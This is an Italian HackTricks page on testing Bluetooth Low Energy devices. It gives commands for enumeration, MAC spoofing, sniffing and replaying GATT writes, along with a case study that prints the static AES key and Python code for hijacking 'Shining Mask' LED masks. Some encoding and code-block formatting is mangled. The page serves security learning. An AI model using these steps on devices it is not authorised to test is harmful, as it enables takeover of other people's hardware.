Pentesting BLE - Bluetooth Low Energy
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Introduzione
Disponibile dalla specifica Bluetooth 4.0, BLE utilizza solo 40 canali, coprendo lâintervallo da 2400 a 2483.5 MHz. In confronto, il Bluetooth tradizionale usa 79 canali nello stesso intervallo.
I dispositivi BLE comunicano inviando advertising packets (beacons); questi pacchetti trasmettono lâesistenza del dispositivo BLE agli altri dispositivi nelle vicinanze. Questi beacon talvolta invia anche dati.
Il dispositivo che ascolta, chiamato anche central device, può rispondere a un advertising packet con una SCAN request inviata specificamente al dispositivo che pubblicizza. La response a quella scan usa la stessa struttura del pacchetto advertising, con informazioni aggiuntive che non potevano entrare nella richiesta pubblicitaria iniziale, come il nome completo del dispositivo.
.png)
Il byte di preambolo sincronizza la frequenza, mentre lâindirizzo di accesso di quattro byte è un connection identifier, utilizzato negli scenari in cui piĂš dispositivi cercano di stabilire connessioni sugli stessi canali. Successivamente, la Protocol Data Unit (PDU) contiene i advertising data. Esistono diversi tipi di PDU; i piĂš comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi usano il tipo di PDU ADV_NONCONN_IND se non accettano connessioni, trasmettendo dati solo nel pacchetto advertising. I dispositivi usano ADV_IND se permettono connessioni e smettono di inviare advertising una volta che una connessione è stata stabilita.
GATT
Il Generic Attribute Profile (GATT) definisce come il dispositivo dovrebbe formattare e trasferire i dati. Quando analizzi la superficie di attacco di un dispositivo BLE, spesso concentrerai la tua attenzione sul GATT (o GATTs), perchĂŠ è il modo in cui la funzionalitĂ del dispositivo viene attivata e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le characteristic, i descriptors e i services di un dispositivo in una tabella come valori a 16 o 32 bit. Una characteristic è un valore di data inviato tra il central device e il peripheral. Queste characteristic possono avere descriptors che forniscono informazioni aggiuntive su di esse. Le characteristic sono spesso raggruppate in services se sono correlate allâesecuzione di una particolare azione.
Enumerazione
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up
# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66
GATTool
GATTool permette di stabilire una connessione con un altro dispositivo, elencando le caratteristiche di quel dispositivo e leggendo e scrivendo i suoi attributi.
GATTTool può avviare una shell interattiva con lâopzione -I:
Uso interattivo di GATTTool ed esempi
```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]Write data
gatttool -i
Read data
gatttool -i
Read connecting with an authenticated encrypted connection
gatttool âsec-level=high -b a4:cf:12:6c:b3:76 âchar-read -a 0x002c
</details>
### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported
# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
Sniffing e controllo attivo di dispositivi BLE non accoppiati
Molti periferici BLE a basso costo non impongono pairing/bonding. Senza bonding, la Link Layer encryption non viene mai abilitata, quindi il traffico ATT/GATT è in chiaro. Uno sniffer off-path può seguire la connessione, decodificare le operazioni GATT per scoprire characteristic handles e values, e qualsiasi host nelle vicinanze può connettersi e riprodurre quei writes per controllare il dispositivo.
Sniffing con Sniffle (CC26x2/CC1352)
Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) riprogrammato con il firmware Sniffle di NCC Group.
Installa Sniffle e il suo Wireshark extcap su Linux:
Installa Sniffle extcap (Linux)
```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```Flash Sonoff con Sniffle firmware (assicurati che il tuo dispositivo seriale corrisponda, ad es. /dev/ttyUSB0):
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
Cattura in Wireshark tramite lo Sniffle extcap e passa rapidamente alle scritture che modificano lo stato filtrando:
_ws.col.info contains "Sent Write Command"
Questo evidenzia gli ATT Write Commands dal client; lâhandle e il valore spesso corrispondono direttamente ad azioni del dispositivo (es., write 0x01 a una characteristic buzzer/alert, 0x00 per fermare).
Esempi rapidi della Sniffle CLI:
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
Alternative sniffer: Nordicâs nRF Sniffer for BLE + Wireshark plugin funziona anchâesso. Sui dongle Nordic piccoli/economici, di solito viene sovrascritto il USB bootloader per caricare il sniffer firmware; quindi o tieni un dongle sniffer dedicato o ti serve un J-Link/JTAG per ripristinare il bootloader in seguito.
Controllo attivo via GATT
Una volta identificato un writable characteristic handle e il value dal sniffed traffic, connettiti come qualsiasi central e invia la stessa write:
-
Con Nordic nRF Connect for Desktop (BLE app):
-
Seleziona il dongle nRF52/nRF52840, esegui la scan e connettiti al target.
-
Sfoglia il GATT database, individua la target characteristic (spesso ha un friendly name, es., Alert Level).
-
Esegui una Write con i sniffed bytes (es., 01 per triggerare, 00 per fermare).
-
Automatizza su Windows con un dongle Nordic usando Python + blatann:
Esempio di write con Python blatann (Windows + Nordic dongle)
```python import time import blatannCONFIG
COM_PORT = âCOM29â # Replace with your COM port TARGET_MAC = â5B:B1:7F:47:A7:00â # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + â,pâ)
CONNECT
ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(fâ[-] Connecting to {TARGET_MAC}âŚâ) peer = ble_device.connect(target_address).wait() if not peer: print(â[!] Connection failed.â) ble_device.close() raise SystemExit(1)
print(âConnected. Discovering servicesâŚâ) peer.discover_services().wait(5, exception_on_timeout=False)
Example: write 0x01/0x00 to a known handle
for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(â[!] Beeping.â) ch.write(bâ\x01â) time.sleep(2) print(â[+] And relax.â) ch.write(bâ\x00â)
print(â[-] DisconnectingâŚâ) peer.disconnect() peer.wait_for_disconnect() ble_device.close()
</details>
### Caso di studio: hijacking di maschere LED BLE (famiglia Shining Mask)
Maschere LED BLE economiche, whiteâlabeled controllate dallâapp âShining Maskâ accettano comandi di scrittura da qualsiasi central vicino senza pairing/bonding. Lâapp usa GATT su una command characteristic e una data characteristic; i comandi sono AESâECB criptati con una chiave statica hardâcoded nellâapp, mentre i dati immagine bulk non sono criptati.
UUID principali su questi dispositivi:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a
Scritture GATT non autenticate
- No pairing/bonding required. Qualsiasi host può connettersi e scrivere allâUUID di comando per cambiare la luminositĂ , selezionare immagini, avviare animazioni, ecc.
- Operazioni comuni osservate: LIGHT (luminositĂ ), IMAG (seleziona indice), DELE (cancella indici), SPEED, ANIM, PLAY, CHEC (richiesta conteggio), DATS (inizio upload).
Framing dei comandi AES a chiave statica
- Frame = 1âbyte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AESâECB encrypt with static key from the app.
- Chiave statica nota (hex): 32672f7974ad43451d9c6c894a0e8764
Helper Python per criptare e inviare un comando (esempio: impostare luminositĂ massima):
```python
from Crypto.Cipher import AES
from binascii import unhexlify
KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')
def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)
packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600
Flusso di upload immagine
- Dopo un encrypted DATS handshake, i raw chunks vengono scritti unencrypted nella data characteristic âŚ960a.
- Packet format: [len][seq][payload]. Empiricamente ~100 bytes di payload per packet funzionano in modo affidabile.
Pseudo-codice minimo per l'upload dell'immagine
```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify charStream raw chunks (unencrypted) to âŚ960a: [len][seq][payload]
seq = 0 CHUNK = 98 # data bytes per packet (â100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1
Optionally signal completion if firmware expects it (e.g., DATCP)
</details>
## Note operative
- Preferire Sonoff+Sniffle su Linux per un channel hopping e connection following piĂš robusti. Tieni come riserva uno sniffer Nordic.
- Senza pairing/bonding, qualsiasi attacker nelle vicinanze può observe writes e replay/craft le proprie verso unauthenticated writable characteristics.
## Riferimenti
- [Start hacking Bluetooth Low Energy today! (part 2) â Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle â A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann â Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)
> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** đŹ [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** đŚ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>
HackTricks

